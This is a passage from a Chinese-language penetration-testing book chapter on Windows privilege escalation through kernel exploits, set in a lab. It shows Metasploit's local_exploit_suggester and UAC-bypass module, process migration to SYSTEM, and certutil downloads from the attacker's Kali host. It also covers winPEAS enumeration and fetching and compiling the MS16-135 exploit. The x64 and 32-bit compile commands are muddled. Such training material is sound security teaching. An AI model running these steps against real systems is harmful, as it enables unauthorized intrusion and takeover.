  • 内存管理:内核负责读取、写入、分配和回收系统内存。

  • 设备管理:内核负责管理和促进硬件外设与操作系统之间的 I/O 操作。

  • I/O 管理:内核负责促进和管理系统资源之间的 I/O 操作,如 CPU 和系统内存。

  • 资源管理:内核负责管理各种程序和进程之间的内存分配和共享。

如下图所示,内核充当硬件和软件之间的中介,促进并翻译它们之间的交互:

图 5.1 – 内核结构

图 5.1 – 内核结构

现在我们已经清楚了解了什么是内核、它的功能以及在操作系统中的作用,我们可以清楚地看到,内核中的漏洞可能被利用,进而导致对系统的特权访问和控制。正因如此,攻击者在特权升级过程中看重内核漏洞利用,因为它们提供了一个简单的路径来提升权限。

然而需要注意的是,内核漏洞利用可能不稳定,并可能导致系统崩溃,因此需要谨慎操作。这主要是因为内核漏洞利用会针对内核及其功能,进而干扰操作系统的核心操作。因此,由内核漏洞引发的系统崩溃可能导致数据丢失,并损坏整个操作系统,在渗透测试过程中可能成为一种风险。

让我们简要了解一下 Windows 内核及其结构,以便理解它是如何工作的。

Windows NT

Windows NT 是所有版本的 Microsoft Windows 自带的内核,像传统内核一样运行,但基于用户设计理念有所不同。它由两种主要的操作模式组成,这些模式决定了对系统资源和硬件的访问:

  • 用户模式:在用户模式下运行的程序和服务只能有限地访问系统资源和功能。

  • 内核模式:内核模式对系统资源和功能拥有无限制的访问权限,还具备管理设备和系统内存的功能。

如下图所示,主要有两种操作模式,用于隔离对资源和硬件的访问:

图 5.2 – Windows 内核结构

图 5.2 – Windows 内核结构

用户模式包括与内核通过 Windows API 通信的系统定义进程。运行在用户模式中的进程还可以通过向内核模式设备驱动程序发送 I/O 请求与设备通信,如图 5.2所示。

内核模式可以访问所有设备和系统资源,并且负责防止用户模式服务与其无权访问的功能进行交互和访问。

现在我们已经了解了 Windows 内核的功能和结构,我们可以开始深入探讨 Windows 内核漏洞利用过程。

Windows 内核漏洞利用过程

Windows 操作系统容易受到各种攻击,可能导致漏洞利用或特权升级。我们已经在上一章中探讨了如何识别这些漏洞及其相应的漏洞利用。在本章中,我们将重点讨论如何正确识别和利用未打补丁的脆弱 Windows 系统来提升我们的特权。

该过程将采取双管齐下的方法,包括手动和自动利用内核漏洞的过程。

在 Windows 上的内核利用通常会针对 Windows 内核中的漏洞,执行任意代码以运行特权系统命令或获得系统 shell。这个过程会根据目标 Windows 版本以及使用的内核漏洞而有所不同。

本章中,我们将在虚拟黑客实验室中使用 Windows 7 SP1 目标虚拟机。

现在,我们可以开始使用 Metasploit 框架进行内核利用。这将使我们能够自动化识别和利用 Windows 内核漏洞的过程。

使用 Metasploit 进行内核利用

我们可以通过了解如何使用内核漏洞与 Metasploit 框架结合,来开始内核利用过程。Metasploit 框架将提供一种自动化和模块化的解决方案,并简化利用过程。

对于本节,目标系统将是 Windows SP1 虚拟机。作为前提,确保您已经在系统上获取了初始控制并拥有 Meterpreter 会话:

  1. 第一步是扫描目标以查找潜在的漏洞。我们将使用 local_exploit_suggester 模块。此过程在上一章中已经深入讲解过。

  2. 我们可以通过运行以下命令在 Metasploit 中加载该模块:

    使用 post/multi/recon/local_exploit_suggester

  3. 加载模块后,您需要为该模块设置 SESSION 选项。SESSION 选项需要您的 Meterpreter 会话的会话 ID。可以通过运行以下命令来完成此操作:

    设置 SESSION

    如下图所示,SESSION 选项应反映您设置的会话 ID:

    图 5.3 – local_exploit_suggester 选项

    图 5.3 – local_exploit_suggester 选项

  4. 配置模块选项后,我们可以通过运行以下命令来运行该模块:

    运行

    这将开始扫描过程。在此过程中,模块将开始输出目标可能存在的各种漏洞,如下图所示:

    图 5.4 – local_exploit_suggester 结果

    图 5.4 – local_exploit_suggester 结果

  5. 我们可以开始测试 local_exploit_suggester 推荐的各种漏洞模块。输出列表中的前几个模块通常更有可能成功。我们可以通过加载列表中的第一个模块来进行测试,正如图 5.4中所示。可以通过运行以下命令来完成此操作:

    使用 /exploit/windows/local/bypassuac_eventvwr

    这个内核漏洞利用模块将绕过 用户访问控制(UAC),并在 Windows 注册表中插入一个命令,该命令将在启动 Windows 事件查看器时执行,并将启动一个系统 shell——在这种情况下,是一个 Meterpreter 会话。

    注意

    该漏洞利用并未利用内核中的漏洞,而是通过与 Windows 注册表的交互并在其中存储命令来实现。

    关于该漏洞利用模块的更多信息,请参见:www.rapid7.com/db/modules/exploit/windows/local/bypassuac_eventvwr/.

  6. 加载模块后,您需要设置模块选项,包括 Meterpreter 会话 ID 和新 Meterpreter 会话的有效载荷选项,如下图所示:图 5.5 – 内核漏洞利用模块选项

    图 5.5 – 内核漏洞利用模块选项

  7. 我们现在可以通过运行以下命令来执行内核漏洞利用模块:

    exploit

    在这种情况下,漏洞利用是成功的,如下所示的截图所示。结果,我们将获得一个具有提升权限的 Meterpreter 会话:

    图 5.6 – 漏洞利用成功

    ](Images/B17389_05_006.jpg)

    图 5.6 – 漏洞利用成功

  8. 我们现在可以通过运行以下命令枚举系统上的权限:

    getuid

    输出如下所示:

    图 5.7 – Meterpreter 权限

    ](Images/B17389_05_007.jpg)

    图 5.7 – Meterpreter 权限

    如前所示的截图所示,我们尚未获得提升的权限,但我们可以通过运行以下命令列出当前 Meterpreter 会话中的权限:

    getprivs

    输出如下所示:

    图 5.8 – Meterpreter 权限

    ](Images/B17389_05_008.jpg)

    图 5.8 – Meterpreter 权限

    如前所示的截图所示,这个 Meterpreter 会话具有管理员权限,我们可以迁移到 NT AUTHORITY/SYSTEM 进程。

  9. 我们可以通过运行以下命令枚举正在运行的进程:

    ps

    此命令将输出正在运行的进程列表、各自的进程 ID 和进程所有者,如下所示:

    图 5.9 – Meterpreter 进程

    图 5.9 – Meterpreter 进程

  10. 我们可以迁移到 winlogon.exe 进程,因为该进程由 NT AUTHORITY/SYSTEM 用户拥有。可以通过运行以下命令来实现:

    migrate <PID>

    成功迁移后,我们可以通过在系统 shell 中运行 getuid 命令或 whoami 命令来重新检查我们的权限:

图 5.10 – 权限提升成功

图 5.10 – 权限提升成功

如前所示的截图所示,我们已成功提升了权限,可以运行系统命令并访问系统上的任何资源。

我们现在在系统上获得了提升的权限,可以开始执行后期利用操作。建议为提升的 Meterpreter 会话设置持久化,以防该进程被杀死或系统关闭。

这个过程将根据漏洞模块的类型和所执行的攻击类型有所不同,但在使用 Metasploit 框架时,过程将保持相似。

使用 Metasploit 进行内核利用的过程要简化得多,因为许多步骤可以自动化,然而,您可能会遇到只有通过标准 shell 而非 Meterpreter 会话访问目标的情况。这时,手动内核利用就变得很重要。

手动内核利用

在某些情况下,您可能无法访问具有 Meterpreter 会话的目标,或者您可能是通过手动利用技术(如 Web shell)来利用目标的。在这种情况下,您将通过标准反向 Shell 访问目标,通常是通过netcat实现的。这会带来一些问题;我该如何扫描目标以寻找潜在的内核漏洞?我又该如何将内核漏洞传输到目标上呢?

这些是我们将在本节中解决的问题;我们的目标选择将是 Windows 7 虚拟机。

本地枚举

第一步是扫描并识别潜在的内核漏洞。可以通过使用Windows-Exploit-Suggester工具或其他枚举脚本和工具来完成。在这种情况下,我们将利用winPEAS二进制文件来枚举我们的目标信息。

注意

winPEAS 是一个本地 Windows 枚举脚本,用于搜索和扫描潜在漏洞,并枚举所有可以用于进行特权提升攻击的重要系统信息。

winPEAS二进制文件可以从 GitHub 存储库下载,链接如下:github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe.

确保根据目标操作系统的架构下载正确的二进制文件;特定架构的二进制文件可以在binaries文件夹中找到,以下截图突出显示了该文件夹:

图 5.11 – winPEAS 二进制文件

图 5.11 – winPEAS 二进制文件

在将二进制文件下载到我们的 Kali 虚拟机后,我们需要将winPEAS.exe二进制文件传输到我们的目标虚拟机。这不能自动完成,因为我们没有 Meterpreter 会话。因此,我们将需要利用 Windows 特定的工具来下载该二进制文件。

传输文件

为了将winPEAS.exe二进制文件传输到目标,我们需要在 Kali 虚拟机上设置一个 Web 服务器,用来托管该二进制文件,以便我们可以在目标系统上下载它。可以按照这里概述的步骤进行操作:

  1. 要在我们的 Kali 虚拟机上设置 Web 服务器,我们可以使用SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储winPEAS.exe二进制文件的目录中运行以下命令来完成:

    sudo python -m SimpleHTTPServer 80

    注意

    SimpleHTTPServer是一个适用于 Python 2 和 Python 3 的 Python 模块。

    如下截图所示,SimpleHTTPServer模块将在 Kali 虚拟机的 IP 地址上通过端口80提供目录中的文件:

    图 5.12 – SimpleHTTPServer

    ](Images/B17389_05_012.jpg)

    图 5.12 – SimpleHTTPServer

  2. 为了将winPEAS.exe二进制文件下载到目标系统,我们可以使用certutil工具。然而,在下载二进制文件之前,我们需要导航到一个有读写权限的目录。在这种情况下,我们将导航到当前用户的桌面,如下图所示:

图 5.13 – 默认用户目录

图 5.13 – 默认用户目录

现在,我们可以使用certutil工具从 Kali 虚拟机下载二进制文件到目标系统。这可以通过在目标系统上运行以下命令来完成:

certutil -urlcache -f http://<KALI-VM>/winPEASx64.exe winPEAS.exe

该命令的输出可以在以下截图中看到:

图 5.14 – certutil 成功传输

](Images/B17389_05_014.jpg)

图 5.14 – certutil 成功传输

如前面的截图所示,如果传输成功,二进制文件应该会被下载并保存为我们指定的名称。

我们现在可以使用 winPEAS 二进制文件来枚举潜在的内核漏洞,这些漏洞可以用于提升我们的权限。

枚举内核漏洞

winPEAS 二进制文件会枚举大量信息,并执行各种检查以发现潜在的漏洞。在内核漏洞的上下文中,我们只需要枚举系统信息。这可以通过以下步骤完成:

  1. 要枚举所有重要的系统信息,我们需要运行winPEAS.exe二进制文件,并使用以下参数:

    .\winPEAS.exe systeminfo

    如下截图所示,二进制文件将枚举系统信息,并根据构建版本和安装的补丁,输出可以用来提升权限的内核漏洞列表:

    图 5.15 – winPEAS 内核漏洞

    ](Images/B17389_05_015.jpg)

    图 5.15 – winPEAS 内核漏洞

  2. 我们还可以使用Windows-Exploit-Suggester工具来枚举我们的系统信息并扫描潜在的内核漏洞。可以通过运行以下命令来完成此操作:

    ./windows-exploit-suggester.py -–database .xlsx -–systeminfo .txt

    Windows-Exploit-Suggester脚本可以通过以下链接下载:github.com/AonCyberLabs/Windows-Exploit-Suggester.

    如下截图所示,脚本将列出所有可以用于提升权限的潜在内核利用程序。我们现在可以利用这些信息来确定使用哪个正确的内核利用程序:

    图 5.16 – Windows-Exploit-Suggester 内核利用程序

    图 5.16 – Windows-Exploit-Suggester 内核利用程序

  3. 始终建议使用枚举工具和脚本输出的第一个利用程序。在本例中,我们将从MS16-135内核利用程序开始。我们需要进一步了解该利用程序以及如何使用它。我们可以通过进行快速的 Google 搜索来获取更多信息,如下截图所示:

图 5.17 – MS16-135 利用程序搜索

图 5.17 – MS16-135 利用程序搜索

Google 搜索显示了一个 GitHub 仓库,其中包含有关利用程序的信息、利用程序源代码以及如何使用它的说明。

始终建议分析源代码,以确保它没有恶意并按预期工作,做任何必要的额外修改。让我们来看看如何从源代码编译一个 Windows 利用程序。

编译 Windows 利用程序

修改和编译利用程序的能力非常重要,因为它可以确保利用程序按预期工作,并为你提供根据需求对利用程序进行修改的灵活性。在本例中,我们将看看如何手动将利用程序代码编译成二进制文件:

  1. 首先,我们必须确保我们的 Kali Linux 虚拟机具备编译 Windows 二进制文件所需的所有构建工具。可以通过运行以下命令来完成:

    sudo apt install mingw-w64

  2. 现在,你需要将利用程序代码下载到 Kali 虚拟机。这可以通过直接下载或使用wget工具实现,如下所示:

    wget https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/master/MS16-135/41015.c

  3. 现在我们可以开始编译过程了,不过,根据目标系统的架构,我们需要以不同的方式编译源代码。

    对于基于 x64 的操作系统,运行以下命令,并根据自己的文件和输出名称替换参数:

    i686-w64-mingw32-gcc exploit.c -o exploit.exe

    如果目标是 32 位系统,运行以下命令:

    i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

这将编译利用程序成一个二进制文件,然后我们可以将其转移到目标系统上执行。

运行内核利用程序

成功编译利用程序代码后,我们可以将编译好的二进制文件传输到目标系统,并根据利用程序文档中的说明执行。这可以通过按照以下程序进行:

  1. 在这个特定的情况下,执行内核漏洞二进制文件是直接的,仅需要指定目标操作系统版本。在执行之前,我们需要将漏洞传输到目标系统。这可以通过在 Kali 虚拟机上启动一个本地 web 服务器并使用 SimpleHTTPServer Python 模块来完成:

    sudo python -m SimpleHTTPServer 80

  2. 为了将二进制文件下载到目标系统,我们可以使用 certutil 工具。然而,在下载二进制文件之前,我们需要进入一个具有读写权限的目录。在这种情况下,我们将进入当前用户的桌面,如下图所示:图 5.18 – 默认用户目录

    图 5.18 – 默认用户目录

    我们现在可以使用 certutil 工具从 Kali 虚拟机将二进制文件下载到目标系统。可以通过在目标系统上运行以下命令来完成:

    certutil -urlcache -f http://<KALI-VM>/exploit.exe exploit.exe

  3. 现在我们可以通过在目标系统上执行漏洞二进制文件来运行它,如下所示:

    .\exploit.exe

    前面命令的输出如下面的截图所示:

图 5.19 – 漏洞选项

图 5.19 – 漏洞选项

图 5.19所示,利用此漏洞需要用户指定目标操作系统。可以通过以下选项执行漏洞来完成此操作:

.\exploit.exe 7

在指定操作系统后运行漏洞时,完成需要几秒钟时间,之后我们应该获得一个具有 nt authority\system 权限的提升的 shell:

图 5.20 – 手动内核漏洞成功

](Images/B17389_05_020.jpg)

图 5.20 – 手动内核漏洞成功

如前面的截图所示,漏洞成功运行并自动提升了我们的权限。

我们现在已经能够成功手动和自动运行 Windows 内核漏洞,并可以开始探索其他权限提升向量。

总结

在本章中,我们首先介绍了如何使用 Metasploit 框架自动识别和运行内核漏洞。接着,我们讨论了如何手动识别、编译和传输内核漏洞。最后,我们以如何成功在目标系统上执行内核漏洞以提升我们的权限作为结束。

现在我们已经学会了如何在 Windows 上进行内核漏洞利用,我们可以开始探索其他权限提升向量。

在下一章中,我们将探讨 Windows 上的冒充攻击以及它们如何导致成功的权限提升。